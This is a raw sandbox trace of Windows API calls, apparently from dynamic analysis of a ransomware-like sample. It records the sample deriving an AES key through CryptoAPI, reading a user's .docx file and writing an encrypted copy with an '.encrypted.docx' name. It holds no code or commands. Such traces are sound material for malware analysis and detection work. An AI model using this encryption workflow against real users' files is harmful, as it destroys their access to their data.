CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0025.427] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0025.427] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0025.427] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0025.427] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.427] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.427] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0025.427] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0025.427] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0025.427] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0025.427] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0025.427] CryptCreateHash (in: hProv=0xe8f4199a20, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xe8f3dfdf40 | out: phHash=0xe8f3dfdf40) returned 1 [0025.427] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.427] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.427] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.427] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.427] CharLowerBuffW (in: lpsz="byte[32]", cchLength=0x8 | out: lpsz="byte[32]") returned 0x8 [0025.427] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.427] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.427] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0025.427] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0025.428] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0025.428] CryptHashData (hHash=0xe8f4062330, pbData=0xe8f418b4b0, dwDataLen=0x20, dwFlags=0x1) returned 1 [0025.428] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.428] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.428] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.428] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0025.428] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0025.428] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0025.428] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0025.428] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0025.428] CryptDeriveKey (in: hProv=0xe8f4199a20, Algid=0x660e, hBaseData=0xe8f4062330, dwFlags=0x1, phKey=0xe8f3dfdf40 | out: phKey=0xe8f3dfdf40*=0xe8f4062720) returned 1 [0025.428] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.428] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.428] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.428] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.428] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.428] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0025.428] PeekMessageW (in: lpMsg=0xe8f3dfdfa0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdfa0) returned 0 [0025.428] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0025.428] CryptDestroyHash (hHash=0xe8f4062330) returned 1 [0025.429] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.430] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.430] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.430] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.430] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.430] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Documents\\NeaFrBuex2U7\\xuZ02tplUJG4DO_gI5gM.docx" (normalized: "c:\\users\\5jghkoaofdp\\documents\\neafrbuex2u7\\xuz02tplujg4do_gi5gm.docx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0025.430] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0025.430] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe930, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe930*=0) returned 1 [0025.430] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.430] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.430] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.430] GetFileAttributesW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Documents\\NeaFrBuex2U7\\" (normalized: "c:\\users\\5jghkoaofdp\\documents\\neafrbuex2u7")) returned 0x10 [0025.431] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Documents\\NeaFrBuex2U7\\xuZ02tplUJG4DO_gI5gM.encrypted.docx" (normalized: "c:\\users\\5jghkoaofdp\\documents\\neafrbuex2u7\\xuz02tplujg4do_gi5gm.encrypted.docx"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1fc [0025.431] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.431] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.431] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.431] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.432] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe9e0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe9e0*=0) returned 1 [0025.432] ReadFile (in: hFile=0x188, lpBuffer=0xe8f6000080, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f6000080*, lpNumberOfBytesRead=0xe8f3dfea20*=0x10000, lpOverlapped=0x0) returned 1 [0025.433] ReadFile (in: hFile=0x188, lpBuffer=0xe8f6000080, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f6000080*, lpNumberOfBytesRead=0xe8f3dfea20*=0x7bf0, lpOverlapped=0x0) returned 1 [0025.434] ReadFile (in: hFile=0x188, lpBuffer=0xe8f6000080, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f6000080*, lpNumberOfBytesRead=0xe8f3dfea20*=0x0, lpOverlapped=0x0) returned 1 [0025.436] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.436] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.436] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.437] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0025.438] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.438] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.438] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0025.439] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0025.439] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0025.439] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0025.439] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0025.439] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0025.439] PeekMessageW (in: lpMsg=0xe8f3dfd7f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfd7f0) returned 0 [0025.440] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0025.440] CryptGetKeyParam (in: hKey=0xe8f4062720, dwParam=0x7, pbData=0xe8f4064a00, pdwDataLen=0xe8f3dfd858, dwFlags=0x0 | out: pbData=0xe8f4064a00*=0x660e, pdwDataLen=0xe8f3dfd858*=0x4) returned 1 [0025.440] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0025.440] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0025.440] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.440] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.440] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.440] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.440] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.440] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.440] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0025.440] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0025.440] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0025.440] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0025.440] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0025.440] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0025.440] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0025.440] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0025.440] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0025.440] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0025.440] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.440] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.440] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.440] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.440] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0025.440] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0025.441] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0025.441] CryptEncrypt (in: hKey=0xe8f4062720, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0x17bf0, dwBufLen=0x0 | out: pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0x17c00) returned 1 [0025.441] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.441] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.441] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.442] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.442] CharLowerBuffW (in: lpsz="byte[97281]", cchLength=0xb | out: lpsz="byte[97281]") returned 0xb [0025.442] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.444] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.444] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0025.444] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0025.445] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0025.445] CryptEncrypt (in: hKey=0xe8f4062720, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe8f41b85b0*, pdwDataLen=0xe8f3dfdf68*=0x17bf0, dwBufLen=0x17c00 | out: pbData=0xe8f41b85b0*, pdwDataLen=0xe8f3dfdf68*=0x17c00) returned 1 [0025.446] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.446] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.446] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.446] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.446] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.446] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.446] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0025.446] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0025.446] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0025.446] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0025.446] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0025.446] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0025.447] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0025.447] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0025.447] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0025.447] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0025.447] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.451] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.451] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.451] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.453] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.453] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.453] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0025.453] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0025.453] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0025.453] PeekMessageW (in: lpMsg=0xe8f3dfe0f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe0f0) returned 0 [0025.453] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0025.453] CryptDestroyKey (hKey=0xe8f4062720) returned 1 [0025.453] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0025.453] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0025.453] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0025.453] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0025.453] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") 